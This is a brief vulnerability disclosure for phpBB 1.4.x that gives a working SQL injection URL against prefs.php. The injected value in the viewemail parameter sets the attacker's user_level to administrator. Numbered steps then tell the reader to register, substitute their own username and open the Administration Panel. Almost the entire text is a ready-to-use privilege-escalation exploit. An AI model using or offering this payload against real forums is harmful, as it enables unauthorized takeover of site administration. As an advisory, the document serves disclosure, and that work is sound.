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PHPBB Remote SQL Query Manipulation Vulnerability

This example was submitted by <kill-9@modernhackers.com>:

http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23

Summary:

1. Register an account on a phpBB board version
1.4.x .
2. Enter above URL with the correct sitename
and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of
the page.